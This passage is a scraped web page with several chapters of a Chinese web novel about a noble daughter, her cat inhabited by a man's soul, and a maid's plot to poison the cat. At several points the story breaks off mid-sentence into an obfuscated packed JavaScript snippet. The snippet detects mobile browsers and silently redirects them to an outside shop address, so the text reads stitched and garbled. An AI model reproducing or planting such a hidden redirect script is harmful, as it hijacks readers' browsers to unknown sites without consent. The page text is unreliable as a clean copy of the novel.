金雪的饮食有专门婢女打理,她重生后便全权交给秋芝,每日定点定量喂它,而她在府里时基本都是亲眼看着金雪用饭后无碍才放心,此次进宫情况未卜,因此她故意将秋芝留在府中照看。 她撩开厚重的车帘,冷风如注灌了进来,嬷嬷连忙道:“二小姐,您身子还未养好,切莫贪凉啊。” “嗯,我知晓。”褚雪镜淡淡应了一声,放下帘子,帘外天色尚明,她出宫时不过午时末,她问,“现在什么时辰了?” 嬷嬷道:“二小姐,应是未时一刻了。” 未时一刻,早已过了金雪用饭的时间,就算卫北临一觉睡到现在不曾吃午饭,他的心声也不该是“放了一只碗”。 【里面是什么东西?】卫北临仿佛浑然不觉,在心里想着,【感觉好香。】 【舔一口?】 褚雪镜眼皮一跳,这么明显的陷阱,卫北临最好放聪明点。 忠远侯府一家今辰天不亮就回去了,想必秋芝是被乔恩兰支开,好让金雪“碰巧”误食毒物,在她回府之前伪造成意外的假象。 听卫北临的描述,他们八成在药里放了吸引猫儿的东西,若不是此时正好卫北临穿成了猫,金雪可能已经中招了。 待她回去,只能看见金雪的尸体,即便她大发雷霆,第一个受罚的人就是秋芝。 乔恩兰恐怕看穿了她留下秋芝的用意,是要借金雪的死一石二鸟。 无所不用其极。 【哎,褚雪镜怎么还不回来,我要饿死了。】猫儿睡着了什么也没吃,他在猫的身体里自然会感到饥饿,【大白天的也一个人都没有。】 他碎碎念,【别告诉我这个碗里黑黢黢的东西是我的午餐。】 【虽然很香。】幸好卫北临长了脑子,【但是直觉告诉我,越香的东西越有鬼。】 知道就好。 褚雪镜无声松了口气,问:“菱悦嬷嬷,还有多久路程?” 嬷嬷有问必答,“估摸着一刻钟后便能到小姐府上了。” 褚雪镜颔首,虽说卫北临在,她不用担心金雪误食,但忠远侯府那些人为达目的不择手段,卫北临再机灵现在到底只是一只猫,不一定能完全应对。 像是印证她的猜想,下一瞬她便听卫北临的声音又出现在脑中,【嗯?有人来了。】 …… 门吱呀一声被推开,却不像寻常婢女进屋的自然,门响声过了一阵,他才听见小心翼翼的细微脚步声。 显然来人不想惊动房里的活物,又或是发出大动静怕引起别人的注意。 卫北临甩了下尾巴,毛茸茸的金色鸡毛掸一般的物事轻轻一扫,似是不经意般打翻了那只碗。 黑色的、散发着奇怪香味的液体缓缓从碗中流出,瓷碗倒在地上在静谧中发出突兀的动静。 推门而入的人明显惊了一下,许久都不敢动作。 罪魁祸首翘着尾巴避免蹭到地上的黑水,优哉游哉地敏捷一跃,就着衣柜的留缝窜了进去,伸爪扒拉上柜门,旋即窝进最里面的黑暗里。 那人听不见别的声响,放下心蹑手蹑脚地进屋,轻声唤着,“金雪?” 卫北临抖了抖耳朵,这个女人压低了嗓子,听起来声音有些陌生。褚雪镜还没回来,这人偷偷摸摸地进来就为了找猫,九成九不是什么好人。 先躲着吧,别被抓去剁猫肉了。 “金雪?”那人一边小声叫着猫的名字,一边翻着房中可能藏猫的地方,“快出来罢,我给你带了鱼干。” 她不断唤着,带着诱哄的语气试图找到金雪的踪迹。 平日里金雪就不喜她,更亲近秋芝,明明先前还看它在睡着,现在又迟迟不见踪影。 怪了,难道猫偷跑出去了? 侍女装扮的女人环绕一圈,最终目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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褚雪镜:“嗯?” “这水里有毒。”春茵咽了咽口水,有些艰难道,“奴婢亲眼看见的。” 褚雪镜闻言脸色微沉,似是意识到了什么,需要亲自证实,“你看见了什么?” 春茵咬唇,睫毛抖得厉害,欲言又止。 惯用的吊人胃口的招数,可惜她每次还得配合一二,对方才演得下去。褚雪镜叹了口气,给她喂了一颗定心丸,“看见什么说什么,我又不会怪你。” 得了这句话,春茵才像是鼓起了勇气,以往清亮的声音变得有些沙哑,“奴婢亲眼看见秋芝姐姐…将这只碗放进小姐房里。” 褚雪镜望着那滩黑乎乎的水,索性在梨花案前坐下,单手支起下颌,问:“秋芝呢?我不是让她留下照顾金雪么?” “小姐,”春茵直起膝盖膝行到她脚边,甚至忘记规矩十分恐慌一般抓住褚雪镜的裳衣,“奴婢真的看见了!” 她脸色青白,嘴唇也没了血色,微微发着颤,“秋芝姐姐想毒死金雪!奴婢亲眼所见!还有院里清扫的婢女也看见了!” 她话语笃定,并不像临时起意的布谋。 褚雪镜轻垂下眼,将她面上的惊慌失措一览无余。 这哪里是慌张,分明是胸有成竹,待君上钩。 怪不得用这么明显的毒放在她房里,原是在这等着她呢。 28.有误 “证据呢?”褚雪镜不置可否,淡淡道,“春茵,眼见不一定为实。” “小姐!”褚雪镜说的话看似是偏袒秋芝,实则是给了她暗中操作发挥的机会,春茵急忙道,“秋芝对您不是真心的,她是…她是夫人安排在小姐身边的!” 褚雪镜眉心一皱,“我院中的人都是母亲安排的,你这话是什么意思?” 春茵一噎,竟一时语塞,“……小姐?” 她一眨不眨地看着褚雪镜,忽然一时怀疑褚雪镜昨夜在宫中梅林说的话是否在敲打她。 “夏萤。” 褚雪镜扬声将屋外的婢女唤进来,她便是方才在门外故意高声向褚雪镜行礼的婢女。 褚雪镜问,“春茵说瞧见秋芝要毒死金雪,还说你们在外清扫的几人都瞧见了,真与假?” 夏萤下意识觑了跪地的春茵一眼,也跟着跪了下来,“小姐,奴婢…奴婢不知。” 褚雪镜狭眸,意味不明地“呵”了一声。 “看见了就是看见了,没看见就是没看见,”她拧眉睨着夏萤,“不知,这是何道理?” 夏萤素日只负责院中清洗事务,即便是要禀报进程也是和秋芝打交道,此时已被褚雪镜不形于色的态度打乱了阵脚,“小姐,奴婢…奴婢的确看见秋芝姐姐端了喂猫的食碗进屋,旁的…奴婢是真的不知道啊!” 蠢货! 夏萤一说话她便知道此人靠不住,墙头草一个,见谁都是主子。春茵低垂着头,指节无意识磨搓着自己的衣角,突然偏头道:“那你瞧瞧,她端进来的是不是这只碗?” 夏萤背脊一僵,她根本没看清叫她如何说?春茵如有实质的阴恻恻的目光就在跟前,夏萤牙齿控制不住地抖了抖,说话都打哆嗦,“奴婢……” 她何尝不知春茵此举是在推她进火坑,可春茵的背后是乔恩兰,真正的忠远侯府主人,褚雪镜就算再受宠,甚至不是侯爷亲女。 夏萤一咬牙,肯定道:“是,奴婢看见是这只碗。” 谎言一旦说出第一句,之后的话反而顺理成章起来,“秋芝姐姐进屋后没过一会儿就离开听雪院了,离开的时候没带走这只碗。” 褚雪镜头还晕着,抬手用指腹揉了揉太阳穴,“秋芝人呢?” 夏萤道:“奴婢不知,午时后便不见秋芝姐姐了。” 春茵松了口气,也摇了摇头。 “这样啊…”褚雪镜微蹙着眉,起身绕过两人走进里屋,“夏萤,你去一趟回春堂,把秦大夫叫来。” 夏萤领命去了,春茵还跪在原地,冷汗早已浸湿她的里衣,她故作镇定地跪着,终于听见褚雪镜道:“你出去罢,我歇一会儿,待夏萤领秦大夫来了再来唤我。” 春茵应声起来,忽听褚雪镜又道:“屋里没瞧见金雪,你去外头找找吧。” 正合她意。春茵抿唇压住内心的欢喜,弯身告退。 屋门合上,褚雪镜随手拎起火钳拨了拨烧着的炭盆,唤了一声,“金雪。” “喵。” 金白相间的猫儿从床头深角里优雅步出,矜贵地轻摆了摆尾巴。 【该死,怎么还是改不了褚雪镜一叫我就应的毛病!】 褚雪镜弯眼笑了一下,朝他勾了勾手,“来。” 卫北临走上前被她抱了起来,少女微凉的指腹掰开他的嘴,轻轻刮过他的尖牙。 “金雪真乖,”她揉了揉小猫的腮帮子,“没吃不该吃的东西。” 那当然。 卫北临骄傲地抬了抬猫下巴,有他在金雪能出什么事。 男人嘛,总是很容易自信。 褚雪镜手心捧着他的猫脸,他便自己把脑袋凑过来拱了拱,撒娇似的喵叫了两声。 当猫也是越当越熟练了。 【看她气色好了不少,】卫北临心道,【原书里也没说她到底得的什么病,老是晕倒怎么能行啊。】 可惜她不是得病,是中毒。 小猫的身体暖融融的像一只小火炉,褚雪镜将他抱到软榻上。房中烧起炭火不久,没什么热气儿,索性把猫当汤婆子揣在被子里。 卫北临试图挣扎,被褚雪镜一把摁住脑袋,“金雪乖,陪我睡一会儿,嗯?” 少女的气息从来没有这么近过,就算是鸿玉坊那日,也是隔着面纱…… 他鹌鹑一样缩在少女颈弯处,一动不敢动。 【别睡了,你院里有内鬼啊!】他在心中无声咆哮。 那个叫春茵的婢女他虽没见过几次,但他可以肯定这人特意在褚雪镜和秋芝都不在的时候进房找猫目的不纯。 还有那碗奇怪的黑水。 正常人谁下毒也不会选择这么明显的方式,即便是为了害死一只猫。 思及此,卫北临下意识颤了下耳朵。 所以是谁跟褚雪镜有那么大的深仇大恨,连她身边的一只肥猫都不放过? 若不是他碰巧穿成金雪,凭那碗毒药的香气,足以吸引只是猫的金雪好奇舔舐。 他心中微沉。 如若当时金雪舔了毒药,那极有可能在褚雪镜回府前它便一命呜呼了,下毒之人完全可以算计着时间将毒碗撤走,伪造成因其他而死亡的模样…… 而因为他的参与,金雪不仅没被毒死,还“无意”打翻了药碗,下毒之人本欲带走尸体却没能如愿,于是试图诱哄金雪出来强行下手。 动手的人是春茵,褚雪镜的贴身婢女。 他又想起昨夜迷蒙暗香的梅林里,褚雪镜惊惶泪眼的面容。 书里从来只说褚雪镜抢夺了女主多少东西,破坏了男女主多少次感情,可他与褚雪镜相处的时间越长,他对她了解越多,就越发觉得—— 原著所写有误。 很多事情似乎的确按照原书的走向发展,可细节总有出入。 比如萧胤玦对褚雪镜的感情,比如褚雪镜其实身在虎穴,而非蜜罐。 再比如…… 卫北临想起自己和女主的几次短暂接触。 褚玉霜也并不像原著描写得那般,是善良单纯的小白花。 就连炮灰纨绔原主身上都迷雾重重,非是流于表面的蠢笨。 “乖。” 褚雪镜眼合着,手掌按着小猫头塞回被窝里,卫北临思绪纷乱,她也睡不好,“别乱动。” 女人眼下有一层淡淡的青黑,神色倦怠。 卫北临蜷起尾巴,乖巧地趴好。 她看起来很累,可她昨夜昏过去便宿在宫里,难道出了什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12871905|134153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事没休息好么? 许是她的疲惫感染了卫北临,没过多久猫儿也趴在她边上熟睡了去,一直到门外发出响动,一人一猫不约而同清醒过来。 【奇怪,】卫北临睡得脑袋昏昏沉沉,【我的身体还没醒吗?】 不等他细想,夏萤的声音从外间传来,“小姐,秦大夫请到了。” 褚雪镜方从睡梦中抽离,青丝微散,她却不甚在意,随手将长发拨至背后,“让她进来。” “是。” 夏萤微顿,身影仍站在屏风后。 褚雪镜撩了撩眼皮,“怎么?” 夏萤吞了下口水,小心翼翼道:“秋芝姐姐和春茵姐姐险些打起来,被夫人撞见,现下都在夫人院中了。” 【嚯,还扯上头花了。】 褚雪镜从榻上起身,不咸不淡道:“知道了,随她们去吧。” 两人皆是褚雪镜的贴身婢女,就算春茵与她相处时间短她无所谓,秋芝总是她的心腹吧?夏萤有些震惊地抬眼,可惜屏风之后她只能瞧见一个若隐若现的影子,何谈探知褚雪镜的想法。 “还愣着作甚?”褚雪镜懒懒打了个呵欠,“你也想同她们一起去不成?” 夏萤忙道:“奴婢不敢。”话落便立马出了房门,对门口等候的秦合欢道:“秦大夫,小姐请您进去。” 秦合欢还没应声,她已经拎起粉裙慌不择路地跑了。 褚雪镜又干什么把人吓成这样? 秦合欢扬了扬眉,提着医箱推开房门。 房中依旧飘着褚雪镜常用的熏香,然秦合欢鼻头一皱,神情微变,几乎是瞬间便顺着异味找到了源头。 “秦大夫好生敏锐。”褚雪镜披了件外衣,怀里抱着金雪,从屏后走出,“可能看出这是什么毒?” 秦合欢自医箱中取出一枚银针,又用一块白帕沾取了一些地上残余的液体放在鼻下闻了闻,“有柳桃、乌头、断肠草和砒//霜。” 她拧眉仔细嗅着,“好像还有猫草。” 如果给人下毒,根本不必多此一举,秦合欢一怔,倒是没料到竟有人专门为了毒死一只猫费这么多功夫,目光落在褚雪镜怀里圆滚滚的猫上,不禁道:“它犯什么天条了,弄这么多毒就为了弄死它?” 褚雪镜伸手捂住小猫耳朵,“说什么呢,金雪听不得这么难听的话。” 秦合欢:“……” “金雪”像是听懂了褚雪镜的话一般,温顺地蹭了蹭她的掌心,娇娇“喵”了一声。 【嘿嘿,】卫北临心里傻笑,【我们小猫才听不得这种话!】 本只是逗弄他的褚雪镜也:“……” 褚雪镜有多在乎这只猫秦合欢深有体会,毕竟只是短暂离府都要特地将它暂放在她那才放心的程度。 秦合欢舒了口气,指着地上那片污渍道:“这块地方毒性很强,即便清洗也会有毒残留,别让金雪靠近。” “好。”褚雪镜方应下,正要说什么,秦合欢却忽然疾步走上前,凑过来绕着她嗅了一圈。 褚雪镜抱着猫咪的手臂下意识紧了紧,望向秦合欢问:“怎么了?” 秦合欢扫过她眼下还未完全消退的青黑,脸色蓦然比掉进墨罐还黑,“你吃清明丸了?” 29.诱香 “我是不是警告过你?!非必要不许吃!褚雪镜你…!” 千算万算,忘记秦合欢是个狗鼻子了。褚雪镜就差被她揪着耳朵骂,抱着金雪扭头就往里屋钻。 秦合欢怒道:“你给我坐那!” 褚雪镜身形顿住,到底是听话坐在榻上,将金雪放走,仰头眸光灼灼地望着秦合欢,“你消消气。” “我消气?”秦合欢都被她气笑了,医者最怕病人不把自己的身体当回事,更何况这是关乎性命的事情。 她毫不怜香惜玉地拉过褚雪镜细白的手腕,沉着脸把脉。 褚雪镜背脊挺直,像只被擒住的猫,只能静静等待着秦合欢发话。 【清明丸是什么?】秦合欢脸色臭得出奇,估计不是什么好东西,卫北临跳到褚雪镜脚边坐下,【我就说不爱惜自己的身体要出事,她平常晚饭都不吃!】 褚雪镜:“……” 虽然秦合欢听不见卫北临心里的数落,但她脸色也没好到哪去,如同渐布的乌云,巴不得下场雨把褚雪镜浇清醒。 她松开女人的手腕,冷声问:“你是不是不要命了?” 褚雪镜颤了颤睫毛,微垂下眼,却是一言不发。 秦合欢一口气憋在喉咙口上不去下不来,来回走了两步尽量和缓自己的心情,“东西拿出来。” 褚雪镜抬眼看她,“什么?” “少装傻。”秦合欢摊开手心,面色肃凛,压根不给她辩解的机会,“剩下的清明丸,还给我。” 褚雪镜偏过头,“我花了钱买的,不给。” 不给你还有命在吗?!秦合欢气得仰头叉腰,干脆背对着她眼不见心不烦。 “我…我知道错了。”褚雪镜自然知道秦合欢是为了她好,“当时情况紧急,我没…” “没什么?”秦合欢没好气道,“没看清吃了几颗?还是没全部吃了已经算好的了?” 褚雪镜:“……” “我反复警告过你那么多次你都当耳旁风,”秦合欢抱胸冷笑,“褚雪镜,你觉得我还会相信你吗?” 褚雪镜像做了坏事被抓包的小孩,低着头道:“我真知道错了。” 事已至此,就算说再多也改变不了她吃了药的事实。秦合欢舒了口气,早在褚雪镜问她拿药的时候她就该想到这个看起来温顺的人疯起来谁都管不住,可怕的是她还长了一张足以令任何人为她动摇的脸…… 秦合欢依旧冷着脸道:“我给你开两副药调养,下不为例。” 她虽故意拉着脸色,说出的话却是给了台阶。褚雪镜轻轻抬眼打量着她的表情,小声问:“不生气了?” 秦合欢的脸像在腊月寒天冻了三天三夜岿然不动,“剩下的药,拿出来。” 正所谓再一再二不再三,她铁了心要把药收走,那就是任褚雪镜说什么都没用了。 褚雪镜抿了下唇,从怀中拿出一个玉白瓷瓶,依依不舍地递给她。 秦合欢二话不说便夺了回去,当着她的面拔开瓶塞清数里面剩余药丸的数量,确定她只吃了两颗,脸色才稍微缓和了些。 她将木塞塞回去,把瓷瓶丢进药箱,“没收。” 褚雪镜:“……” 她还有些不甘心,试图替自己辩解,“眼下明枪暗箭防不胜防,合欢,我……” 秦合欢收拾东西的动作一顿,到底是心软了。 褚雪镜什么处境她帮了她这么多次也多多少少了解了大概,若非逼不得已,谁愿意冒着生命危险吃这种药呢? 她合上医箱,沉默半晌,问:“昨夜宫里到底发生了什么?” 女人沉静的目光并不侵略,只是看着她,眸光中除去严肃,还有真切的担忧。 卫北临趴在地上,他不认识秦合欢,原著中也没提过这个人物,可听两人的对话,褚雪镜和她似乎很熟稔,还有那什么清明丸,听起来不是什么好东西。 那么,宫里到底出了什么事?和她突然晕倒有关吗? 男人的心声就在耳畔,褚雪镜垂下眼睫,她倒是不介意将来龙去脉告诉秦合欢,但卫北临…… 褚雪镜微偏过脸,对上小猫清亮单纯的圆眼。 “昨夜,”她半真半假开口道,“褚玉霜将我引去梅园深处便不见人影。” “我独自在梅林寻不到出路,意外听见了萧胤玦的声音。” “我猜测,她是想让我与萧胤玦碰面。” 她面色平静,不疾不徐地讲着,“但很遗憾,他们计划没能成功。” 褚玉霜引褚雪镜去见萧胤玦?! 卫北临睁大猫瞳,被她几句话震惊得头脑混乱。 意思是女主故意让女配和男主见面?这是什么新型play吗? 还是说果然女主不喜欢男主,男主就是喜欢褚雪镜,所以女主心甘情愿撮合他们? 小猫茫然地看向地板,冷漠地伸出爪子在地上挠了一下。 那他为男女主的爱情保驾护航算什么?算笑话吗? 秦合欢自然不知道某个猫身人魂的人正在面临‘信仰’崩塌,她眉头轻动,不动声色道:“然后?” 褚玉霜和萧胤玦有不浅的瓜葛她是知道的,而他们为什么执着于让褚雪镜爱上萧胤玦,至今是疑团。 她和褚雪镜推测,八成与褚雪镜被避而不谈的身世有关。 “然后……” 褚雪镜有意拖长语调,余光果然见原本安分的猫咪躁动起来。 卫北临勤勤恳恳地用地磨爪子,耳朵却竖得像天线。 她会说什么?会提到那个陌生男人吗? 可惜,褚雪镜对那人闭口不谈,却转而道:“我遇见了卫北临。” 猫爪子措不及防一滑,发出一声尖锐的刺响。 “金雪?”褚雪镜注意力被他吸引去,她俯身将猫儿抱了起来,指腹捏着猫咪的软垫揉了揉,“别把爪子磨坏了。” 卫北临抬起脑袋,却只能瞧见她流畅的颌角。 秦合欢道:“又是那个纨绔世子?” 卫北临:“……” 什么叫又是?他无声呲了呲牙,把头埋到爪子里,避免被正在交谈的人发现异样。 他听见褚雪镜轻笑了一声,温软的嗓音很是动听,“卫世子是好人。” 小猫翘了翘尾巴头。 褚雪镜像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当时景仁帝提了一嘴,他就特意多看了两眼,除了造型比较奇特,他根本没闻到什么怪异的味道。 难道是他离褚玉霜太远了么? 可她戴着那枚香囊四处走动,总有与她擦肩接触的人,偏偏只有褚雪镜昏了过去…… 秦合欢也想到了这点,她神情有些严肃,道:“会使人昏厥的香不少,但既然是在大殿上,她怕是不敢那么明目张胆;一般异香留香会很久,但我没在你身上发现一丝一缕。” 她怔然在桌案边坐下,手心握住桌案一角,“恐怕那是针对你病情做的香,能诱发你病发。” 原来如此。 怪不得他们能肆无忌惮,原来是有她的致命把柄。 褚雪镜半垂着头,神情匿在阴影中,叫人看不清她在想什么。 秦合欢莫名觉得她有些兴奋,可既然褚玉霜能有这种香,必然是对褚雪镜的病情十分了解,恐怕少不了忠远侯夫妇的助力。 即便是这样,也不觉得难过失望吗? 30.落空 “二小姐,夫人请您过去。” 褚雪镜不疾不徐地拢上外衣,弯身将金雪抱了起来。 卫北临的心声忽然消失,估计是人身苏醒了,若是将金雪一只猫留在院中,她不放心。 秦合欢眼尾扫了那婢女一眼,乔恩兰时不时就叫她去问褚雪镜的情况,因此她身边的婢女秦合欢大多都眼熟。 她神色不变收起药箱,对褚雪镜道:“二小姐若无旁事,我便先回馆中了。” 那婢女眉头一动,赶忙挽留,“秦大夫,夫人说请您同小姐一起,是想问……有关下毒的事。” 秦合欢故作犹豫,“回春堂还有要事,这……” 婢女已然摸透秦合欢的心理,嘴角含笑道:“秦大夫,耽误了您的时间,夫人必然不会亏待您的。” 秦合欢:“自然侯府的事重要得多,请吧。” 褚雪镜眉心微蹙,轻轻耷下眼皮,若有似无地撇了下嘴角,似乎对秦合欢变脸的德行颇为不喜。 婢女眼观鼻鼻观心,福了福身,为褚雪镜让开一条路。 今日忠远侯当值,府里管事的只有乔恩兰。 文苑院前,三人方踏进院槛,便见院中空地直挺挺地跪着两个丫鬟装扮的女人—— 秋芝和春茵。 两人皆跪得脸色皴白,嘴唇干裂,面颊冷得通红。春茵一见褚雪镜进来,立马狼狈不已地爬到她脚边,拽住她的裳摆,“小姐!小姐!您帮帮奴婢。” “做什么!”在褚雪镜面前温顺的引路婢女容色一变,抬脚便将春茵一脚踹开,“没大没小成何体统!莫要辱没了侯府的规矩!” 春茵避让不及被踹倒在地,冻得青紫肿红的手指勉强撑着,不禁泣涕涟涟,“红樱姐姐,我是冤枉的啊!” 红樱横眉冷对,“冤不冤枉的也由不得我来说,夫人叫你跪着,你便好生跪着罢。” 褚雪镜站在一旁轻飘飘看了她一眼,她曾让秋芝暗中打听过,春茵为人伶俐,有些小聪明,自入了忠远侯府后几乎没吃过什么苦,靠着这点聪明伶俐在乔恩兰院中谋得过不少红利,也因此,褚雪镜提出想添一位贴身婢女时,乔恩兰会选中她。 可偏偏,这种没吃过苦头的人最好收拾。 她微抬了抬眼,跪在春茵旁边的秋芝身形不动,只是挺直地跪着,哪怕眼睫都结了霜仍然面色不改,见褚雪镜看向她,才动了动皲裂的唇,“小姐。” 金雪扒着褚雪镜的手臂意图跃下去,褚雪镜垂眸将它的脑袋拢回来,淡淡道:“金雪只是一只猫,害死它,有什么好处呢?” 她说话并没有指名道姓,春茵却率先摇了摇头,反指着秋芝大声道:“不是奴婢啊小姐!是秋芝!是她要害死金雪!” 褚雪镜半垂着眼,雪白的脸在寒天里更显清寒,宛如冷玉,无形拒人于千里之外。 她轻柔地抚过金雪的头,毫不停留地走进主屋,不再给两人一个眼神。 春茵失魂落魄地维持着摔在地上的姿势,红樱与她擦过,略带讽意道:“你还是赶紧跪好,别让夫人抓着把柄,再罚你一个时辰。” 春茵恨恨地望着她轻快离去的背影,却不能对她发作,只得将矛头对准与她同一境地的秋芝,“装得一副清高样,还不是一样被小姐抛弃了,你以为有你好果子吃吗?!” 秋芝波澜不惊地眨了下眼,声音卷在雪风中破碎得只剩一点尾音。 “你说谁能笑到最后呢?” …… 主屋中暖香缠缠,褚雪镜抱着猫进去,乔恩兰正倚在窗下的几案便品茶,“雪镜,来,坐。” 秦合欢跟在后面,放下医箱行礼道:“侯夫人。” 乔恩兰点头,似乎不急着问秦合欢什么事,探过身去逗弄褚雪镜怀里的小猫,“倒是有段时日没见,丰腴不少。” 金雪偏过脑袋,爪子扒着褚雪镜的肩,并不买乔恩兰的账,甚至咧开嘴呲了呲尖牙,朝她呵气。 乔恩兰笑容微僵,隐隐可见伪善面目后的薄怒。褚雪镜却像恍若未觉般轻轻拍着金雪的背,低声安抚着,仿佛乔恩兰才是那个作恶的人。 她拉不下面子,遂也不去搭理这只蠢猫,本就是做做面子而已。她转而抬起目光看向秦合欢,理了理鬓边的发丝,“我听闻雪镜院里的婢女意图毒死雪镜的猫,秦大夫可看过?究竟是什么情况?” 秦合欢一板一眼道:“确是有人在褚小姐房中放了一碗调制过的剧毒,其中掺杂了猫草,想要引猫儿去吃。” 乔恩兰眉眼阴沉下来,蓦地拍了下桌子,发出震响,“没脑子的蠢货,主子的猫也敢动心思。” 褚雪镜坐在她对面的小椅上,神态依旧,不置一词。 乔恩兰叹了口气,眼中流露出几分愧疚,“秋芝和春茵原都是我院中的人,是我没管教好啊。” 褚雪镜这才道:“母亲言重了,秋芝跟了我三年,是女儿御下不严才是。” 母女之间,非要演一出你错我错的客套戏。秦合欢退至一边,见乔恩兰唤人将门外跪着的两人带了进来。 春茵算是受尽苦楚,早就没了先前的机灵劲儿和傲气。她髌骨已经跪得直不起来,被人拉进房中便趴跪在地,泪水糊在她脸上被冻出了泪痕。 秋芝依然是那副任君处置的模样,勉强拣了两分尊严,迈进房中的双腿止不住得发抖,强撑着缓缓跪下,“夫人,小姐。” 乔恩兰冷冷道:“跪这么久,可知错了?” “知错了!知错了!”春茵不住地磕头,“夫人,奴婢知道错了,求您饶了奴婢!” 乔恩兰微不可察地拧了下眉,视线落在相对冷静的秋芝身上,“你呢?” 秋芝轻轻舒了口气,她的呼吸都是冷的,呼洒出来一阵白雾。 她说:“奴婢不知错在何处。” 为奴为婢,主人家有意刁难,不论对错必然是先揽下叫人消了气才好,一味倔强只会适得其反。乔恩兰又猛地一拍桌,染了豆蔻的指尖指向秋芝,“我叫你跪在外头反省,你便是反省了这么个玩意儿?!” 秋芝睫毛轻颤,道:“敢问夫人,奴婢不曾做错事,该知何错?” “好一个该知何错!”乔恩兰起身走到她面前,“我问你,那只盛了毒的碗是不是你放在雪镜房中的?” 秋芝否认,“不是。” “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秋芝心肠软,所以会因为妹妹在乔恩兰院中而答应监视褚雪镜,却也会因为与褚雪镜日夜相处,逐渐忘记自己真正的主子是谁。 一个奴婢,怎么可能忠于二主呢? 乔恩兰微眯了眯眼,如今褚雪镜疑她,她乔恩兰亦把秋芝当弃子,欲侍二主反被弃如敝履,多么理所应当的下场啊。 褚雪镜却轻轻叹了口气,指尖抚着猫儿的毛发,道:“罢了。” 乔恩兰微怔,褚雪镜被他们纵养惯了,从来是嫉恶如仇眼中揉不得沙子的,这是要…… “秋芝在我身边三年,”她道,“便是做错了事,因着这三年情谊,我也不会过多为难。” 春茵心脏忽地重重跳了两下,她隐约感觉到褚雪镜似乎不准备重罚秋芝,她的如意算盘就要落空,“小姐!” “我怜你这些年在我身边尽心尽力,”褚雪镜起身,悠悠走到秋芝面前,“我不罚你,却也留不得你。” 少女温软的声音飘然落下,“拿了你的卖身契,出府去吧。” 31.怪病 大年初一便出了这等事,任谁都心情不爽利,乔恩兰挑眼瞧着褚雪镜,她的这位“女儿”自褚玉霜回府后似乎变了许多,分明还是那张玉颜病身,可谁都能瞧出她无形的淡漠疏离。 无论一个人如何精通掩藏,喜欢便是喜欢,不喜便是不喜,肢体行为骗不了人。 可又是为什么呢?褚玉霜的回府足以刺激她至此吗?乔恩兰想起这些时日她所做的事情,缓缓坐回几案边。 褚雪镜似乎知道了一些什么,但并不完全,至少还没有怀疑到……上。 “秋芝到底是府里的家奴,雪镜……” 褚雪镜淡淡道:“既然如此,别的院里本也容不下她。” 乔恩兰眉心一跳,褚雪镜这副情态显然是心意已决,一个奴婢罢了,那就随她去吧。 乔恩兰看了红樱一眼,红樱心领神会福身退了出去。 秋芝微愣,似是意外褚雪镜会这样放过她——就算那碗毒水不是她放的,可褚雪镜嘱咐她照顾好金雪,她却没能及时发现下毒之人,甚至如若不是褚雪镜提前回府,金雪恐怕已经魂归西天…… 而事发之后,她又不见人影,换做旁人少说也会迁怒一二,这样轻飘飘的揭过,当真是因为褚雪镜重情么? 春茵显然也没明白其中关节,下意识道:“小姐,秋芝玩忽职守……” 富贵人家的奴婢被逐出府的确算重罚,毕竟出去后稍微有名头的府上只消一打听便不会收她,但这与他们预料得却相差甚远。 若褚雪镜重情,大可罚她一顿叫她长长记性;若褚雪镜本就想除去她,也好借题发挥将她打发回去,而不是这样不上不下的就此翻篇。 “我累了。”褚雪镜玉白的手指搂着金雪,仿佛只是做了一个无关紧要的小决定,脸上看不出一丝一毫翻腾的情绪,侧身对乔恩兰道,“母亲,余下的便交由您处置罢,女儿身体不适,便劳烦母亲操心了。” 她眼尾轻垂,唇色罕见地浅淡如粉,衬得眉眼间疲倦更浓。 温华锦对她说了什么乔恩兰无从得知,见她这般憔悴倒也不好当着众人的面多问为难,道:“好生回去歇息吧,春茵——” “母亲。”褚雪镜轻声打断,“女儿自己回去便是。” 堂堂侯府嫡女,身边连一个像样的婢女都没有像什么样子。秋芝被赶出府,就是春茵也不要了么? 乔恩兰意欲劝阻,褚雪镜只是沉默地福了福身,常年缠绵病榻导致的瘦削下颌微绷着,清冷的眸色沉静如深潭,叫人一时无法出言制止。 春茵还跪在地上,她自然是能看出乔恩兰有意让她随褚雪镜回去,可褚雪镜毫不犹豫地拒绝让一种恐慌感油然而生。 少女抱着猫绕过两人,一如进门时那样孤冷薄情。 春茵眼神追随着她翻飞的衣袂,暗暗祈求她能心软一瞬,起码别让她留在这被乔恩兰发落。 她不明白,褚雪镜不信秋芝,她便顺水推舟帮了她,若是褚雪镜也不信她,一开始又何必选中她? 她知道褚雪镜疑心乔恩兰会为了亲女谋算她,可在这偌大的侯府中,谁人不是乔恩兰的眼线?即便是跟在她身边三年的秋芝,不也是轻而易举就能反水背叛? 但褚雪镜把她们全扔了。 她一个势单力薄、自幼被当成娇娇女养大的假小姐,如何能保证自己不会陷入更大的险境呢? 一点一点悄然培植自己的势力,才有可能在府中占有一席之地啊! 